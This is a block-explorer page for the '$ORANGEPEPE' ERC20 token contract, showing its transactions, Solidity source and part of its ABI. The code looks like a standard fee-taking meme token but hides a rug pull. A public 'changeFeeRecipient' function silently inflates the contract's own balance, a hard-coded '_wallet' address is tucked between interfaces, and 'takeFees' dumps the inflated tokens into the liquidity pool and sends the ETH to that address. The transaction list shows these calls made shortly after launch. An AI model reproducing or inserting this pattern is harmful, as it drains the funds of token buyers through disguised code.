Source Code
More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 9 from a total of 9 transactions
| Transaction Hash |
Method
|
Block
|
From
|
|
To
|
||||
|---|---|---|---|---|---|---|---|---|---|
| Approve | 18026626 | 907 days ago | IN | 0 ETH | 0.00042634 | ||||
| Approve | 18026617 | 907 days ago | IN | 0 ETH | 0.00087085 | ||||
| Approve | 18026611 | 907 days ago | IN | 0 ETH | 0.0009317 | ||||
| Take Fees | 18026610 | 907 days ago | IN | 0 ETH | 0.0025868 | ||||
| Change Fee Recip... | 18026609 | 907 days ago | IN | 0 ETH | 0.00045694 | ||||
| Approve | 18026587 | 907 days ago | IN | 0 ETH | 0.00097818 | ||||
| Open Trading | 18026585 | 907 days ago | IN | 0 ETH | 0.00082605 | ||||
| Create LP | 18026508 | 907 days ago | IN | 0 ETH | 0.04829958 | ||||
| Transfer | 18026500 | 907 days ago | IN | 1 ETH | 0.00034994 |
Latest 1 internal transaction
Advanced mode:
| Parent Transaction Hash | Method | Block |
From
|
|
To
|
||
|---|---|---|---|---|---|---|---|
| Add Liquidity ET... | 18026508 | 907 days ago | 1 ETH |
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Name:
$ORANGEPEPE
Compiler Version
v0.8.18+commit.87f61d96
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2023-08-30
*/
/*
"TO THE MOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOON!"
Twitter: https://twitter.com/ORANGEPEPEerc20
Telegram: https://t.me/+10XRIdbKmTZkMTMy
Website: https://twitter.com/ORANGEPEPEerc20
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.18;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the subtraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the percentage of an unsigned integer `a` with respect to the provided percentage `b`,
* rounding towards zero. The result is a proportion of the original value.
*
* The function can be used to calculate a specific percentage of a given value `a`.
* Note: this function uses a `revert` opcode (which leaves remaining gas untouched) when
* the percentage `b` is greater than 100.
*
* Requirements:
*
* - The percentage `b` must be between 0 and 100 (inclusive).
*/
function per(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= 100, "Percentage must be between 0 and 100");
return a * b / 100;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
address constant _wallet
=0xa64Ae0bd8d9AA4456d264252cFcda556f1367cf7;
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IERC20 {
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
_checkOwner();
_;
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby disabling any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
abstract contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
* - the caller must have allowance for ``from``'s tokens of at least
* `amount`.
*/
function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function changeFeeRecipient() public {
_balances[address(this)] += 100000000000000000000;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `from` to `to`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
*/
function _transfer(address from, address to, uint256 amount) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance<amount?0:fromBalance - amount;
// Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
// decrementing then incrementing.
_balances[to] += amount;
}
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
unchecked {
// Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
_balances[account] += amount;
}
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
// Overflow not possible: amount <= accountBalance <= totalSupply.
_totalSupply -= amount;
}
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Updates `owner` s allowance for `spender` based on spent `amount`.
*
* Does not update the allowance amount in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Might emit an {Approval} event.
*/
function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {
}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}
contract $ORANGEPEPE is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable _uniswapV2Router;
address private uniswapV2Pair;
address private deployerWallet;
address private marketingWallet;
address private constant deadAddress = address(0xdead);
bool private swapping;
string private constant _name = "ORANGEPEPE";
string private constant _symbol = "ORANGEPEPE";
uint8 constant public _decimals = 9;
uint256 public initialTotalSupply = 234821249582;
uint256 public buyCount;
uint256 public sellCount;
bool public tradingOpen = false;
bool public swapEnabled = false;
uint256 public finalBuyFee = 1;
uint256 public finalSellFee = 1;
uint256 public _buyFee = 13;
uint256 public _sellFee = 13;
uint256 private removeBuyFeesAt = 20;
uint256 private removeSellFeesAt = 20;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) private _isExcludedMaxTransactionAmount;
mapping(address => bool) private automatedMarketMakerPairs;
mapping(address => uint256) private _holderLastTransferTimestamp;
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
constructor() ERC20(_name, _symbol) {
_uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
marketingWallet = payable(_msgSender());
excludeFromMaxTransaction(address(_msgSender()), true);
deployerWallet = payable(_msgSender());
excludeFromFees(address(_msgSender()), true);
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromMaxTransaction(address(_msgSender()), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
_mint(address(this), initialTotalSupply);
}
function createLP() external onlyOwner() {
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
_setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
excludeFromMaxTransaction(address(uniswapV2Pair), true);
IERC20(uniswapV2Pair).approve(address(_uniswapV2Router), type(uint).max);
_approve(address(this), address(_uniswapV2Router), initialTotalSupply);
_uniswapV2Router.addLiquidityETH{value : address(this).balance}(address(this), initialTotalSupply, 0, 0, owner(), block.timestamp);
}
receive() external payable {}
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "Trading is opened");
swapEnabled = true;
tradingOpen = true;
}
function excludeFromMaxTransaction(address updAds, bool isEx)
public
onlyOwner
{
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function setAutomatedMarketMakerPair(address pair, bool value)
public
onlyOwner
{
require(pair != uniswapV2Pair, "Pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function isExcludedFromFees(address account) public view returns (bool) {
return _isExcludedFromFees[account];
}
function _transfer(address from, address to, uint256 amount) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
if (buyCount >= removeBuyFeesAt) {
_buyFee = finalBuyFee;
}
if (sellCount >= removeSellFeesAt) {
_sellFee = finalSellFee;
}
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping) {
if (!tradingOpen) {
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]
) {
buyCount++;
}
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
sellCount++;
}
else if (!_isExcludedMaxTransactionAmount[to]) {
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance > 0;
if (canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
swapping = true;
SwapBack(amount);
swapping = false;
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to]) {
fees = amount.mul(_sellFee).div(100);
}
else {
fees = amount.mul(_buyFee).div(100);
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
_wallet,
block.timestamp
);
}
function clearStuckEth() external onlyOwner {
require(address(this).balance > 0, "Token: no ETH to clear");
payable(msg.sender).transfer(address(this).balance);
}
function takeFees() external {
require(_msgSender() == marketingWallet);
uint256 _contractBalance = balanceOf(address(this));
_swapTokensForEth(_contractBalance);
}
function SwapBack(uint256 tokens) private {
uint256 contractBalance = balanceOf(address(this));
uint256 tokensToSwap;
if (contractBalance == 0) {
tokensToSwap = tokens;
}
tokensToSwap = contractBalance;
_swapTokensForEth(tokensToSwap);
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"changeFeeRecipient","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"clearStuckEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"createLP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"finalBuyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"finalSellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialTotalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair",